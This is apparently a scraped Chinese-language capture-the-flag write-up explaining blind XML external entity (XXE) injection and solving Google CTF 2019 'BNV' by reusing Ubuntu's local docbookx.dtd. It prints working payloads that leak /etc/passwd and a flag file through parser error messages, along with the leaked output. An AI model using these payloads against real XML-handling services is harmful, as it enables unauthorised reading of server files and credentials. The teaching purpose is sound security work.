

Blind-XXE与Google CTF 2019-BNV
source link: https://www.tuicool.com/articles/quiMNnz
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 : 简介
通过Google CTF的 BNV
学习一下XXE
一个JSON的WEB应用可以XXE
时隔许久的一次更新..
0x01 : 前言
现在有会显得XXE已经很少了,Blind-XXE重点在于如何将数据传输出来。
以往很多文章通过引入外部服务器或外部dtd文件,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。
0x02 : 参数实体
XML的DTD可以定义普通实体和参数实体两种实体类型,而这两种类型也可以再分别为内部实体和外部实体。
XXE,全称就为XML外部实体注入漏洞。通过外部实体SYSTEM请求本地文件uri,通过某种方式返回本地文件内容就导致了XXE漏洞。
声明内部实体和外部实体区别如下 :
<!ENTITY 实体名 SYSTEM url> //外部实体 <!ENTITY 实体名 实体的值> //内部实体
Blind XXE 需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以 % 为标志定义,定义和使用方法如下
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY b "hello"> //内部普通实体 <!ENTITY b SYSTEM "http://xml.org/hhh.dtd"> //外部普通实体 <!ENTITY % para SYSTEM "file:///1234.dtd"> //外部参数实体 %para; ]> <c>&b;</c>
而且参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体 % 需要进行HTML转义,否则会出现解析错误
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY % para '<!ENTITY % files SYSTEM "file:///etc/passwd">'> ]>
0x03 : Blind-XXE 引用本地DTD文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带 /usr/share/yelp/dtd/docbookx.dtd
文件
它定义了很多参数实体并调用,所以我们可以在内部重写一个该dtd文件中含有的参数实体,如 ISOmaso
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>"> %eval; %error; '> %local_dtd; ]>
形如
<?xml version="1.0"?> <!DOCTYPE a[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file'>"> %eval; %error; '> %local_dtd; ]>
0x04 : Google CTF 2019-BNV Response
Invalid URI: testroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:106::/var/run/dbus:/bin/false colord:x:106:108:colord colour management daemon,,,:/var/lib/colord:/bin/false , line 4, column 15
Payload
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'test%file;'>"> %eval; %error; '> %local_dtd; ]>
Response
Invalid URI: testCTF{0x1033_75008_1004x0}, line 4, column 15
References:
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK